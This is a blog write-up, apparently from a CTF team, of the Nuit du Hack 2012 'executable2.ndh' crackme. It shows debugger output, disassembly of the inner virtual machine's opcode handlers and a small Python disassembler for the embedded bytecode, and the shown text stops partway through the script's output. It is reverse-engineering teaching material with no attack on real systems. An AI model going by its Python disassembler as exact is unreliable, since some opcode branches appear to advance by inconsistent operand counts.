		<pubDate>Sun, 25 Mar 2012 23:00:07 +0000</pubDate>
		<dc:creator>hellman</dc:creator>
				<category><![CDATA[Writeups]]></category>
		<category><![CDATA[2012]]></category>
		<category><![CDATA[4002]]></category>
		<category><![CDATA[crackme]]></category>
		<category><![CDATA[ctf]]></category>
		<category><![CDATA[inception]]></category>
		<category><![CDATA[ndh2k12]]></category>
		<category><![CDATA[nuitduhack]]></category>
		<category><![CDATA[vm]]></category>
		<category><![CDATA[xor]]></category>

		<guid isPermaLink="false">http://leetmore.ctf.su/?p=2442</guid>
		<description><![CDATA[Our anonymous guy managed to get access to another bunch of files. We also need to get as much information as possible about the file itself. If you succeed, you will be rewarded with $2500 for the ndh file. executable2.ndh NDH Virtual Machine Summary: VM in the NDH VM, crackme This crackme is harder than&#8230; <a class="continue_reading" href="http://leetmore.ctf.su/wp/nuitduhack-2012-prequals-executable2-ndh/">Continue reading &#187;</a>]]></description>
			<content:encoded><![CDATA[<blockquote><p>Our anonymous guy managed to get access to another<br />
bunch of files. We also need to get<br />
as much information as possible about the file itself. If you succeed, you will<br />
be rewarded with $2500 for the ndh file.
</p></blockquote>
<p><a href="http://leetmore.ctf.su/wp-content/uploads/files/ndh2012/executable2.ndh">executable2.ndh</a><br />
<a href="http://leetmore.ctf.su/wp-content/uploads/files/ndh2012/sciproc.tgz">NDH Virtual Machine</a></p>
<p><strong>Summary:</strong> VM in the NDH VM, crackme</p>
<p><span id="more-2442"></span></p>
<p>This crackme is harder than the first one &#8211; it has another simple VM embedded.</p>

<div class="wp_syntax"><div class="code"><pre class="asm" style="font-family:monospace;"><span style="color: #009900; font-weight: bold;">&#91;</span>Console<span style="color: #009900; font-weight: bold;">&#93;</span>#&gt; <span style="color: #00007f;">bp</span> <span style="color: #0000ff;">0x81e8</span>
Breakpoint set <span style="color: #00007f; font-weight: bold;">in</span> <span style="color: #0000ff;">0x81e8</span>
<span style="color: #009900; font-weight: bold;">&#91;</span>Console<span style="color: #009900; font-weight: bold;">&#93;</span>#&gt; run
<span style="color: #339933;">...</span>
<span style="color: #009900; font-weight: bold;">&#91;</span>BreakPoint <span style="color: #0000ff;">1</span> <span style="color: #339933;">-</span> <span style="color: #0000ff;">0x81e8</span><span style="color: #009900; font-weight: bold;">&#93;</span>
<span style="color: #0000ff;">0x81e8</span> &gt; <span style="color: #000000; font-weight: bold;">syscall</span> <span style="color: #009900; font-weight: bold;">&#40;</span>r0 = <span style="color: #0000ff;">0x0003</span> <span style="color: #339933;">-</span> read<span style="color: #009900; font-weight: bold;">&#41;</span>
<span style="color: #00007f; font-weight: bold;">test</span>
<span style="color: #009900; font-weight: bold;">&#91;</span><span style="color: #000000; font-weight: bold;">SYSCALL</span> output<span style="color: #009900; font-weight: bold;">&#93;</span><span style="color: #339933;">:</span> <span style="color: #0000ff;">5</span>
<span style="color: #0000ff;">0x81e9</span> &gt; <span style="color: #00007f; font-weight: bold;">ret</span>
<span style="color: #0000ff;">0x8622</span> &gt; <span style="color: #00007f; font-weight: bold;">pop</span> r2
<span style="color: #0000ff;">0x8624</span> &gt; <span style="color: #00007f; font-weight: bold;">pop</span> r1
<span style="color: #0000ff;">0x8626</span> &gt; <span style="color: #00007f; font-weight: bold;">ret</span>
<span style="color: #0000ff;">0x8655</span> &gt; <span style="color: #00007f; font-weight: bold;">call</span> <span style="color: #0000ff;">0xfed8</span>
<span style="color: #0000ff;">0x8531</span> &gt; <span style="color: #00007f; font-weight: bold;">push</span> r2</pre></div></div>

<p>The inner VM code is located starting at 0x000a, right after the user&#8217;s 9-byteinput and :</p>

<div class="wp_syntax"><div class="code"><pre class="asm" style="font-family:monospace;"><span style="color: #009900; font-weight: bold;">&#91;</span>Console<span style="color: #009900; font-weight: bold;">&#93;</span>#&gt; x<span style="color: #339933;">/</span>x <span style="color: #0000ff;">0</span><span style="color: #339933;">:</span><span style="color: #0000ff;">80</span>
<span style="color: #0000ff;">0x0000</span><span style="color: #339933;">:</span> <span style="color: #0000ff;">74</span> <span style="color: #0000ff;">65</span> <span style="color: #0000ff;">73</span> <span style="color: #0000ff;">74</span> 0a <span style="color: #0000ff;">00</span> <span style="color: #0000ff;">00</span> <span style="color: #0000ff;">00</span> <span style="color: #0000ff;">00</span> 0a 0a <span style="color: #0000ff;">06</span> <span style="color: #0000ff;">06</span> <span style="color: #0000ff;">00</span> <span style="color: #0000ff;">00</span> <span style="color: #0000ff;">0b</span> 
<span style="color: #0000ff;">0x0010</span><span style="color: #339933;">:</span> <span style="color: #0000ff;">02</span> <span style="color: #0000ff;">07</span> 4d <span style="color: #0000ff;">06</span> <span style="color: #0000ff;">00</span> <span style="color: #0000ff;">07</span> <span style="color: #0000ff;">02</span> <span style="color: #0000ff;">07</span> <span style="color: #0000ff;">78</span> <span style="color: #0000ff;">07</span> <span style="color: #0000ff;">00</span> <span style="color: #0000ff;">07</span> <span style="color: #0000ff;">09</span> <span style="color: #0000ff;">02</span> <span style="color: #0000ff;">02</span> <span style="color: #0000ff;">07</span> 
<span style="color: #0000ff;">0x0020</span><span style="color: #339933;">:</span> <span style="color: #0000ff;">61</span> <span style="color: #0000ff;">06</span> <span style="color: #0000ff;">01</span> <span style="color: #0000ff;">07</span> <span style="color: #0000ff;">02</span> <span style="color: #0000ff;">07</span> <span style="color: #0000ff;">02</span> <span style="color: #0000ff;">07</span> <span style="color: #0000ff;">01</span> <span style="color: #0000ff;">07</span> <span style="color: #0000ff;">09</span> <span style="color: #0000ff;">02</span> <span style="color: #0000ff;">02</span> <span style="color: #0000ff;">07</span> <span style="color: #0000ff;">72</span> <span style="color: #0000ff;">06</span> 
<span style="color: #0000ff;">0x0030</span><span style="color: #339933;">:</span> <span style="color: #0000ff;">02</span> <span style="color: #0000ff;">07</span> <span style="color: #0000ff;">02</span> <span style="color: #0000ff;">07</span> <span style="color: #0000ff;">43</span> <span style="color: #0000ff;">07</span> <span style="color: #0000ff;">02</span> <span style="color: #0000ff;">07</span> <span style="color: #0000ff;">09</span> <span style="color: #0000ff;">02</span> <span style="color: #0000ff;">02</span> <span style="color: #0000ff;">07</span> <span style="color: #0000ff;">31</span> <span style="color: #0000ff;">06</span> <span style="color: #0000ff;">03</span> <span style="color: #0000ff;">07</span> 
<span style="color: #0000ff;">0x0040</span><span style="color: #339933;">:</span> <span style="color: #0000ff;">02</span> <span style="color: #0000ff;">07</span> <span style="color: #0000ff;">45</span> <span style="color: #0000ff;">07</span> <span style="color: #0000ff;">03</span> <span style="color: #0000ff;">07</span> <span style="color: #0000ff;">09</span> <span style="color: #0000ff;">02</span> <span style="color: #0000ff;">02</span> <span style="color: #0000ff;">07</span> <span style="color: #0000ff;">30</span> <span style="color: #0000ff;">06</span> <span style="color: #0000ff;">04</span> <span style="color: #0000ff;">07</span> <span style="color: #0000ff;">02</span> <span style="color: #0000ff;">07</span> 
<span style="color: #0000ff;">0x0050</span><span style="color: #339933;">:</span> <span style="color: #0000ff;">03</span> <span style="color: #0000ff;">07</span> <span style="color: #0000ff;">04</span> <span style="color: #0000ff;">07</span> <span style="color: #0000ff;">09</span> <span style="color: #0000ff;">02</span> <span style="color: #0000ff;">02</span> <span style="color: #0000ff;">07</span> 4c <span style="color: #0000ff;">06</span> <span style="color: #0000ff;">05</span> <span style="color: #0000ff;">07</span> <span style="color: #0000ff;">02</span> <span style="color: #0000ff;">07</span> <span style="color: #0000ff;">7f</span> <span style="color: #0000ff;">07</span> 
<span style="color: #0000ff;">0x0060</span><span style="color: #339933;">:</span> <span style="color: #0000ff;">05</span> <span style="color: #0000ff;">07</span> <span style="color: #0000ff;">09</span> <span style="color: #0000ff;">02</span> <span style="color: #0000ff;">02</span> <span style="color: #0000ff;">07</span> <span style="color: #0000ff;">64</span> <span style="color: #0000ff;">06</span> <span style="color: #0000ff;">06</span> <span style="color: #0000ff;">07</span> <span style="color: #0000ff;">02</span> <span style="color: #0000ff;">07</span> <span style="color: #0000ff;">0f</span> <span style="color: #0000ff;">07</span> <span style="color: #0000ff;">06</span> <span style="color: #0000ff;">07</span> 
<span style="color: #0000ff;">0x0070</span><span style="color: #339933;">:</span> <span style="color: #0000ff;">09</span> <span style="color: #0000ff;">02</span> <span style="color: #0000ff;">02</span> <span style="color: #0000ff;">00</span> <span style="color: #0000ff;">01</span> <span style="color: #0000ff;">0b</span> <span style="color: #0000ff;">00</span> <span style="color: #0000ff;">00</span> <span style="color: #0000ff;">00</span> <span style="color: #0000ff;">00</span> <span style="color: #0000ff;">00</span> <span style="color: #0000ff;">00</span> <span style="color: #0000ff;">00</span> <span style="color: #0000ff;">00</span> <span style="color: #0000ff;">00</span> <span style="color: #0000ff;">00</span></pre></div></div>

<p>The opcode switch is located at <strong>0&#215;8531</strong>. Disassembler has a mistake here, so let&#8217;s disassemble from <strong>0&#215;8532</strong>:<br />
<em>notice: I patched a disassembler to show call&#8217;s absolute addresses; though due to disasm fails we need to increment the addresses sometimes</em></p>

<div class="wp_syntax"><div class="code"><pre class="asm" style="font-family:monospace;"><span style="color: #009900; font-weight: bold;">&#91;</span>Console<span style="color: #009900; font-weight: bold;">&#93;</span>#&gt; dis <span style="color: #0000ff;">8532</span><span style="color: #339933;">:</span><span style="color: #0000ff;">100</span>
<span style="color: #0000ff;">0x8532</span><span style="color: #339933;">:</span> <span style="color: #00007f; font-weight: bold;">pop</span> r2
<span style="color: #0000ff;">0x8534</span><span style="color: #339933;">:</span> <span style="color: #00007f; font-weight: bold;">call</span> <span style="color: #0000ff;">0xfdf9</span> <span style="color: #339933;">//</span><span style="color: #0000ff;">8331</span>
<span style="color: #0000ff;">0x8538</span><span style="color: #339933;">:</span> cmpb r0<span style="color: #339933;">,</span> #<span style="color: #0000ff;">0b</span>
<span style="color: #0000ff;">0x853c</span><span style="color: #339933;">:</span> <span style="color: #00007f; font-weight: bold;">jnz</span> <span style="color: #0000ff;">0x0003</span> <span style="color: #339933;">//</span><span style="color: #0000ff;">8542</span>
<span style="color: #0000ff;">0x853f</span><span style="color: #339933;">:</span> jmpl <span style="color: #0000ff;">0x008f</span> <span style="color: #339933;">//</span>85d1
<span style="color: #0000ff;">0x8542</span><span style="color: #339933;">:</span> cmpb r0<span style="color: #339933;">,</span> #<span style="color: #0000ff;">01</span>
<span style="color: #0000ff;">0x8546</span><span style="color: #339933;">:</span> <span style="color: #00007f; font-weight: bold;">jnz</span> <span style="color: #0000ff;">0x0007</span> <span style="color: #339933;">//</span><span style="color: #0000ff;">8550</span>
<span style="color: #0000ff;">0x8549</span><span style="color: #339933;">:</span> <span style="color: #00007f; font-weight: bold;">call</span> <span style="color: #0000ff;">0xfeec</span> <span style="color: #339933;">//</span><span style="color: #0000ff;">8439</span>
<span style="color: #0000ff;">0x854d</span><span style="color: #339933;">:</span> jmpl <span style="color: #0000ff;">0xffe4</span> <span style="color: #339933;">//</span><span style="color: #0000ff;">8534</span>
<span style="color: #0000ff;">0x8550</span><span style="color: #339933;">:</span> cmpb r0<span style="color: #339933;">,</span> #<span style="color: #0000ff;">02</span>
<span style="color: #0000ff;">0x8554</span><span style="color: #339933;">:</span> <span style="color: #00007f; font-weight: bold;">jnz</span> <span style="color: #0000ff;">0x0007</span> <span style="color: #339933;">//</span>855e
<span style="color: #0000ff;">0x8557</span><span style="color: #339933;">:</span> <span style="color: #00007f; font-weight: bold;">call</span> <span style="color: #0000ff;">0xff0e</span> <span style="color: #339933;">//</span><span style="color: #0000ff;">8469</span>
<span style="color: #0000ff;">0x855b</span><span style="color: #339933;">:</span> jmpl <span style="color: #0000ff;">0xffd6</span> <span style="color: #339933;">//</span><span style="color: #0000ff;">8534</span>
<span style="color: #0000ff;">0x855e</span><span style="color: #339933;">:</span> cmpb r0<span style="color: #339933;">,</span> #<span style="color: #0000ff;">03</span>
<span style="color: #0000ff;">0x8562</span><span style="color: #339933;">:</span> <span style="color: #00007f; font-weight: bold;">jnz</span> <span style="color: #0000ff;">0x0007</span> <span style="color: #339933;">//</span>856c
<span style="color: #0000ff;">0x8565</span><span style="color: #339933;">:</span> <span style="color: #00007f; font-weight: bold;">call</span> <span style="color: #0000ff;">0xfe7c</span> <span style="color: #339933;">//</span><span style="color: #0000ff;">83e5</span>
<span style="color: #0000ff;">0x8569</span><span style="color: #339933;">:</span> jmpl <span style="color: #0000ff;">0xffc8</span> <span style="color: #339933;">//</span><span style="color: #0000ff;">8534</span>
<span style="color: #0000ff;">0x856c</span><span style="color: #339933;">:</span> cmpb r0<span style="color: #339933;">,</span> #<span style="color: #0000ff;">04</span>
<span style="color: #0000ff;">0x8570</span><span style="color: #339933;">:</span> <span style="color: #00007f; font-weight: bold;">jnz</span> <span style="color: #0000ff;">0x0007</span> <span style="color: #339933;">//</span>857a
<span style="color: #0000ff;">0x8573</span><span style="color: #339933;">:</span> <span style="color: #00007f; font-weight: bold;">call</span> <span style="color: #0000ff;">0xfe98</span> <span style="color: #339933;">//</span><span style="color: #0000ff;">840f</span>
<span style="color: #0000ff;">0x8577</span><span style="color: #339933;">:</span> jmpl <span style="color: #0000ff;">0xffba</span> <span style="color: #339933;">//</span><span style="color: #0000ff;">8534</span>
<span style="color: #339933;">...</span></pre></div></div>

<p>There are 11 opcodes: from 01 up to 11. Let&#8217;s learn opcode #1:</p>

<div class="wp_syntax"><div class="code"><pre class="asm" style="font-family:monospace;"><span style="color: #0000ff;">0x843c</span><span style="color: #339933;">:</span> <span style="color: #00007f; font-weight: bold;">push</span> r1
<span style="color: #0000ff;">0x8440</span><span style="color: #339933;">:</span> <span style="color: #00007f; font-weight: bold;">pop</span> r2
<span style="color: #0000ff;">0x8442</span><span style="color: #339933;">:</span> <span style="color: #00007f; font-weight: bold;">call</span> <span style="color: #0000ff;">0xfeeb</span> <span style="color: #339933;">//</span><span style="color: #0000ff;">8331</span>
<span style="color: #0000ff;">0x8446</span><span style="color: #339933;">:</span> <span style="color: #00007f; font-weight: bold;">mov</span> r1<span style="color: #339933;">,</span> r0
<span style="color: #0000ff;">0x844a</span><span style="color: #339933;">:</span> <span style="color: #00007f; font-weight: bold;">call</span> <span style="color: #0000ff;">0xfee3</span> <span style="color: #339933;">//</span><span style="color: #0000ff;">8331</span>
<span style="color: #0000ff;">0x844e</span><span style="color: #339933;">:</span> <span style="color: #00007f; font-weight: bold;">call</span> <span style="color: #0000ff;">0xfeb9</span> <span style="color: #339933;">//</span>830b
<span style="color: #0000ff;">0x8452</span><span style="color: #339933;">:</span> <span style="color: #00007f; font-weight: bold;">mov</span> r2<span style="color: #339933;">,</span> r0
<span style="color: #0000ff;">0x8456</span><span style="color: #339933;">:</span> <span style="color: #00007f; font-weight: bold;">mov</span> r0<span style="color: #339933;">,</span> r1
<span style="color: #0000ff;">0x845a</span><span style="color: #339933;">:</span> <span style="color: #00007f; font-weight: bold;">mov</span> r1<span style="color: #339933;">,</span> r2
<span style="color: #0000ff;">0x845e</span><span style="color: #339933;">:</span> <span style="color: #00007f; font-weight: bold;">call</span> <span style="color: #0000ff;">0xfebc</span> <span style="color: #339933;">//</span>831e
<span style="color: #0000ff;">0x8462</span><span style="color: #339933;">:</span> <span style="color: #00007f; font-weight: bold;">pop</span> r2
<span style="color: #0000ff;">0x8464</span><span style="color: #339933;">:</span> <span style="color: #00007f; font-weight: bold;">pop</span> r1
<span style="color: #0000ff;">0x8466</span><span style="color: #339933;">:</span> <span style="color: #00007f; font-weight: bold;">pop</span> r0
<span style="color: #0000ff;">0x8468</span><span style="color: #339933;">:</span> <span style="color: #00007f; font-weight: bold;">ret</span></pre></div></div>

<p>It contains calls to three functions.</p>
<ul>
<li>
func_8331 checks a code pointer at [0x0009], gets next byte and increases the pointer:</p>

<div class="wp_syntax"><div class="code"><pre class="asm" style="font-family:monospace;"><span style="color: #009900; font-weight: bold;">&#91;</span>Console<span style="color: #009900; font-weight: bold;">&#93;</span>#&gt; dis <span style="color: #0000ff;">8331</span><span style="color: #339933;">:</span><span style="color: #0000ff;">20</span>
<span style="color: #0000ff;">0x8331</span><span style="color: #339933;">:</span> <span style="color: #00007f; font-weight: bold;">push</span> r1
<span style="color: #0000ff;">0x8335</span><span style="color: #339933;">:</span> <span style="color: #00007f; font-weight: bold;">pop</span> r2
<span style="color: #0000ff;">0x8337</span><span style="color: #339933;">:</span> movl r0<span style="color: #339933;">,</span> #<span style="color: #0000ff;">0x0009</span>
<span style="color: #0000ff;">0x833c</span><span style="color: #339933;">:</span> <span style="color: #00007f; font-weight: bold;">mov</span> r1<span style="color: #339933;">,</span> <span style="color: #009900; font-weight: bold;">&#91;</span>r0<span style="color: #009900; font-weight: bold;">&#93;</span>
<span style="color: #0000ff;">0x8340</span><span style="color: #339933;">:</span> <span style="color: #00007f; font-weight: bold;">mov</span> r2<span style="color: #339933;">,</span> <span style="color: #009900; font-weight: bold;">&#91;</span>r1<span style="color: #009900; font-weight: bold;">&#93;</span>
<span style="color: #0000ff;">0x8344</span><span style="color: #339933;">:</span> <span style="color: #00007f; font-weight: bold;">inc</span> r1
<span style="color: #0000ff;">0x8346</span><span style="color: #339933;">:</span> <span style="color: #00007f; font-weight: bold;">mov</span> <span style="color: #009900; font-weight: bold;">&#91;</span>r0<span style="color: #009900; font-weight: bold;">&#93;</span><span style="color: #339933;">,</span> r1
<span style="color: #0000ff;">0x834a</span><span style="color: #339933;">:</span> <span style="color: #00007f; font-weight: bold;">mov</span> r0<span style="color: #339933;">,</span> r2
<span style="color: #0000ff;">0x834e</span><span style="color: #339933;">:</span> <span style="color: #00007f; font-weight: bold;">pop</span> r2
<span style="color: #0000ff;">0x8350</span><span style="color: #339933;">:</span> <span style="color: #00007f; font-weight: bold;">pop</span> r1</pre></div></div>

</li>
<li>
func_830b gets byte by address: [r0]</p>

<div class="wp_syntax"><div class="code"><pre class="asm" style="font-family:monospace;"><span style="color: #009900; font-weight: bold;">&#91;</span>Console<span style="color: #009900; font-weight: bold;">&#93;</span>#&gt; dis 830c<span style="color: #339933;">:</span><span style="color: #0000ff;">20</span>
<span style="color: #0000ff;">0x830c</span><span style="color: #339933;">:</span> <span style="color: #00007f; font-weight: bold;">pop</span> r1
<span style="color: #0000ff;">0x830e</span><span style="color: #339933;">:</span> movl r1<span style="color: #339933;">,</span> #<span style="color: #0000ff;">0x0000</span>
<span style="color: #0000ff;">0x8313</span><span style="color: #339933;">:</span> <span style="color: #00007f; font-weight: bold;">add</span> r1<span style="color: #339933;">,</span> r0
<span style="color: #0000ff;">0x8317</span><span style="color: #339933;">:</span> <span style="color: #00007f; font-weight: bold;">mov</span> r0<span style="color: #339933;">,</span> <span style="color: #009900; font-weight: bold;">&#91;</span>r1<span style="color: #009900; font-weight: bold;">&#93;</span>
<span style="color: #0000ff;">0x831b</span><span style="color: #339933;">:</span> <span style="color: #00007f; font-weight: bold;">pop</span> r1
<span style="color: #0000ff;">0x831d</span><span style="color: #339933;">:</span> <span style="color: #00007f; font-weight: bold;">ret</span></pre></div></div>

</pre>
</li>
<li>
func_831e stores a byte: [r0] = r1</p>

<div class="wp_syntax"><div class="code"><pre class="asm" style="font-family:monospace;"><span style="color: #009900; font-weight: bold;">&#91;</span>Console<span style="color: #009900; font-weight: bold;">&#93;</span>#&gt; dis <span style="color: #0000ff;">831f</span><span style="color: #339933;">:</span><span style="color: #0000ff;">20</span>
<span style="color: #0000ff;">0x831f</span><span style="color: #339933;">:</span> <span style="color: #00007f; font-weight: bold;">pop</span> r2
<span style="color: #0000ff;">0x8321</span><span style="color: #339933;">:</span> movl r2<span style="color: #339933;">,</span> #<span style="color: #0000ff;">0x0000</span>
<span style="color: #0000ff;">0x8326</span><span style="color: #339933;">:</span> <span style="color: #00007f; font-weight: bold;">add</span> r2<span style="color: #339933;">,</span> r0
<span style="color: #0000ff;">0x832a</span><span style="color: #339933;">:</span> <span style="color: #00007f; font-weight: bold;">mov</span> <span style="color: #009900; font-weight: bold;">&#91;</span>r2<span style="color: #009900; font-weight: bold;">&#93;</span><span style="color: #339933;">,</span> r1
<span style="color: #0000ff;">0x832e</span><span style="color: #339933;">:</span> <span style="color: #00007f; font-weight: bold;">pop</span> r2
<span style="color: #0000ff;">0x8330</span><span style="color: #339933;">:</span> <span style="color: #00007f; font-weight: bold;">ret</span></pre></div></div>

</li>
</ul>
<p>Now we can guess what opcode #1 is doing:</p>

<div class="wp_syntax"><div class="code"><pre class="asm" style="font-family:monospace;"><span style="color: #0000ff;">0x843c</span><span style="color: #339933;">:</span> <span style="color: #00007f; font-weight: bold;">push</span> r1
<span style="color: #0000ff;">0x8440</span><span style="color: #339933;">:</span> <span style="color: #00007f; font-weight: bold;">pop</span> r2
<span style="color: #0000ff;">0x8442</span><span style="color: #339933;">:</span> <span style="color: #00007f; font-weight: bold;">call</span> <span style="color: #0000ff;">0xfeeb</span> <span style="color: #339933;">//</span><span style="color: #0000ff;">8331</span> get next <span style="color: #000000; font-weight: bold;">byte</span> <span style="color: #009900; font-weight: bold;">&#40;</span>operand <span style="color: #0000ff;">1</span><span style="color: #009900; font-weight: bold;">&#41;</span>
<span style="color: #0000ff;">0x8446</span><span style="color: #339933;">:</span> <span style="color: #00007f; font-weight: bold;">mov</span> r1<span style="color: #339933;">,</span> r0
<span style="color: #0000ff;">0x844a</span><span style="color: #339933;">:</span> <span style="color: #00007f; font-weight: bold;">call</span> <span style="color: #0000ff;">0xfee3</span> <span style="color: #339933;">//</span><span style="color: #0000ff;">8331</span> get next <span style="color: #000000; font-weight: bold;">byte</span> <span style="color: #009900; font-weight: bold;">&#40;</span>operand <span style="color: #0000ff;">2</span><span style="color: #009900; font-weight: bold;">&#41;</span>
<span style="color: #0000ff;">0x844e</span><span style="color: #339933;">:</span> <span style="color: #00007f; font-weight: bold;">call</span> <span style="color: #0000ff;">0xfeb9</span> <span style="color: #339933;">//</span>830b load <span style="color: #009900; font-weight: bold;">&#91;</span>op2<span style="color: #009900; font-weight: bold;">&#93;</span>
<span style="color: #0000ff;">0x8452</span><span style="color: #339933;">:</span> <span style="color: #00007f; font-weight: bold;">mov</span> r2<span style="color: #339933;">,</span> r0
<span style="color: #0000ff;">0x8456</span><span style="color: #339933;">:</span> <span style="color: #00007f; font-weight: bold;">mov</span> r0<span style="color: #339933;">,</span> r1
<span style="color: #0000ff;">0x845a</span><span style="color: #339933;">:</span> <span style="color: #00007f; font-weight: bold;">mov</span> r1<span style="color: #339933;">,</span> r2
<span style="color: #0000ff;">0x845e</span><span style="color: #339933;">:</span> <span style="color: #00007f; font-weight: bold;">call</span> <span style="color: #0000ff;">0xfebc</span> <span style="color: #339933;">//</span>831e store <span style="color: #009900; font-weight: bold;">&#91;</span>op1<span style="color: #009900; font-weight: bold;">&#93;</span> = <span style="color: #009900; font-weight: bold;">&#91;</span>op2<span style="color: #009900; font-weight: bold;">&#93;</span>
<span style="color: #0000ff;">0x8462</span><span style="color: #339933;">:</span> <span style="color: #00007f; font-weight: bold;">pop</span> r2
<span style="color: #0000ff;">0x8464</span><span style="color: #339933;">:</span> <span style="color: #00007f; font-weight: bold;">pop</span> r1
<span style="color: #0000ff;">0x8466</span><span style="color: #339933;">:</span> <span style="color: #00007f; font-weight: bold;">pop</span> r0
<span style="color: #0000ff;">0x8468</span><span style="color: #339933;">:</span> <span style="color: #00007f; font-weight: bold;">ret</span></pre></div></div>


<div class="wp_syntax"><div class="code"><pre class="python" style="font-family:monospace;">01 xx yy -<span style="color: #66cc66;">&gt;</span> <span style="color: black;">&#91;</span>xx<span style="color: black;">&#93;</span> = <span style="color: black;">&#91;</span>yy<span style="color: black;">&#93;</span></pre></div></div>

<p>And so on, after analyzing all the opcodes, we can write a disassembler:</p>

<div class="wp_syntax"><div class="code"><pre class="python" style="font-family:monospace;"><span style="color: #dc143c;">code</span> = <span style="color: #483d8b;">&quot;&quot;&quot;
	02  07 4d 06 00 07 02 07 78 07 00 07 09 02 02 07 
	61  06 01 07 02 07 02 07 01 07 09 02 02 07 72 06 
	02  07 02 07 43 07 02 07 09 02 02 07 31 06 03 07 
	02  07 45 07 03 07 09 02 02 07 30 06 04 07 02 07 
	03  07 04 07 09 02 02 07 4c 06 05 07 02 07 7f 07 
	05  07 09 02 02 07 64 06 06 07 02 07 0f 07 06 07
&quot;&quot;&quot;</span>
<span style="color: #dc143c;">code</span> = <span style="color: #008000;">map</span><span style="color: black;">&#40;</span><span style="color: #ff7700;font-weight:bold;">lambda</span> s: <span style="color: #008000;">int</span><span style="color: black;">&#40;</span>s, <span style="color: #ff4500;">16</span><span style="color: black;">&#41;</span>, <span style="color: #dc143c;">code</span>.<span style="color: black;">strip</span><span style="color: black;">&#40;</span><span style="color: black;">&#41;</span>.<span style="color: black;">split</span><span style="color: black;">&#40;</span><span style="color: black;">&#41;</span><span style="color: black;">&#41;</span>
&nbsp;
ip = <span style="color: #ff4500;">0</span>
<span style="color: #ff7700;font-weight:bold;">while</span> ip <span style="color: #66cc66;">&lt;</span> <span style="color: #008000;">len</span><span style="color: black;">&#40;</span><span style="color: #dc143c;">code</span><span style="color: black;">&#41;</span>:
	opcode = <span style="color: #dc143c;">code</span><span style="color: black;">&#91;</span>ip<span style="color: black;">&#93;</span>
	op1, op2 = <span style="color: #dc143c;">code</span><span style="color: black;">&#91;</span>ip+<span style="color: #ff4500;">1</span>:ip+<span style="color: #ff4500;">3</span><span style="color: black;">&#93;</span>
	<span style="color: #ff7700;font-weight:bold;">print</span> ip,<span style="color: #483d8b;">&quot;:&quot;</span>, <span style="color: #483d8b;">&quot;%02x %02x %02x:<span style="color: #000099; font-weight: bold;">\t</span>&quot;</span> <span style="color: #66cc66;">%</span> <span style="color: black;">&#40;</span>opcode, op1, op2<span style="color: black;">&#41;</span>,
&nbsp;
	<span style="color: #ff7700;font-weight:bold;">if</span> opcode == <span style="color: #ff4500;">1</span>:
		<span style="color: #ff7700;font-weight:bold;">print</span> <span style="color: #483d8b;">&quot;[%2x] = [%2x]&quot;</span> <span style="color: #66cc66;">%</span> <span style="color: black;">&#40;</span>op1, op2<span style="color: black;">&#41;</span>
		ip += <span style="color: #ff4500;">2</span>
	<span style="color: #ff7700;font-weight:bold;">if</span> opcode == <span style="color: #ff4500;">2</span>:
		<span style="color: #ff7700;font-weight:bold;">print</span> <span style="color: #483d8b;">&quot;[%2x] = %2x&quot;</span> <span style="color: #66cc66;">%</span> <span style="color: black;">&#40;</span>op1, op2<span style="color: black;">&#41;</span>
		ip += <span style="color: #ff4500;">2</span>
	<span style="color: #ff7700;font-weight:bold;">if</span> opcode == <span style="color: #ff4500;">3</span>:
		<span style="color: #ff7700;font-weight:bold;">print</span> <span style="color: #483d8b;">&quot;inc [%2x]&quot;</span> <span style="color: #66cc66;">%</span> op1
		ip += <span style="color: #ff4500;">1</span>
	<span style="color: #ff7700;font-weight:bold;">if</span> opcode == <span style="color: #ff4500;">4</span>:
		<span style="color: #ff7700;font-weight:bold;">print</span> <span style="color: #483d8b;">&quot;dec [%2x]&quot;</span> <span style="color: #66cc66;">%</span> op1
		ip += <span style="color: #ff4500;">1</span>
	<span style="color: #ff7700;font-weight:bold;">if</span> opcode == <span style="color: #ff4500;">5</span>:
		<span style="color: #ff7700;font-weight:bold;">print</span> <span style="color: #483d8b;">&quot;[%2x] = [%2x] + [%2x]&quot;</span> <span style="color: #66cc66;">%</span> <span style="color: black;">&#40;</span>op1, op1, op2<span style="color: black;">&#41;</span>
		ip += <span style="color: #ff4500;">2</span>
	<span style="color: #ff7700;font-weight:bold;">if</span> opcode == <span style="color: #ff4500;">6</span>:
		<span style="color: #ff7700;font-weight:bold;">print</span> <span style="color: #483d8b;">&quot;[%2x] = [%2x] ^ [%2x]&quot;</span> <span style="color: #66cc66;">%</span> <span style="color: black;">&#40;</span>op1, op1, op2<span style="color: black;">&#41;</span>
		ip += <span style="color: #ff4500;">2</span>
	<span style="color: #ff7700;font-weight:bold;">if</span> opcode == <span style="color: #ff4500;">7</span>:
		<span style="color: #ff7700;font-weight:bold;">print</span> <span style="color: #483d8b;">&quot;[%2x] == [%2x]&quot;</span> <span style="color: #66cc66;">%</span> <span style="color: black;">&#40;</span>op1, op2<span style="color: black;">&#41;</span>
		ip += <span style="color: #ff4500;">2</span>
	<span style="color: #ff7700;font-weight:bold;">if</span> opcode == <span style="color: #ff4500;">8</span>:
		<span style="color: #ff7700;font-weight:bold;">print</span> <span style="color: #483d8b;">&quot;je %2x&quot;</span> <span style="color: #66cc66;">%</span> <span style="color: black;">&#40;</span>op1<span style="color: black;">&#41;</span>
		ip += <span style="color: #ff4500;">1</span>
	<span style="color: #ff7700;font-weight:bold;">if</span> opcode == <span style="color: #ff4500;">9</span>:
		<span style="color: #ff7700;font-weight:bold;">print</span> <span style="color: #483d8b;">&quot;jne %2x&quot;</span> <span style="color: #66cc66;">%</span> <span style="color: black;">&#40;</span>op1<span style="color: black;">&#41;</span>
		ip += <span style="color: #ff4500;">1</span>
	ip += <span style="color: #ff4500;">1</span></pre></div></div>

<p>Result:</p>

<div class="wp_syntax"><div class="code"><pre class="bash" style="font-family:monospace;">&nbsp;
$ py dis.py 
<span style="color: #000000;">0</span> : 02 07 4d:	<span style="color: #7a0874; font-weight: bold;">&#91;</span> <span style="color: #000000;">7</span><span style="color: #7a0874; font-weight: bold;">&#93;</span> = 4d
<span style="color: #000000;">3</span> : 06 00 07:	<span style="color: #7a0874; font-weight: bold;">&#91;</span> <span style="color: #000000;">0</span><span style="color: #7a0874; font-weight: bold;">&#93;</span> = <span style="color: #7a0874; font-weight: bold;">&#91;</span> <span style="color: #000000;">0</span><span style="color: #7a0874; font-weight: bold;">&#93;</span> ^ <span style="color: #7a0874; font-weight: bold;">&#91;</span> <span style="color: #000000;">7</span><span style="color: #7a0874; font-weight: bold;">&#93;</span>
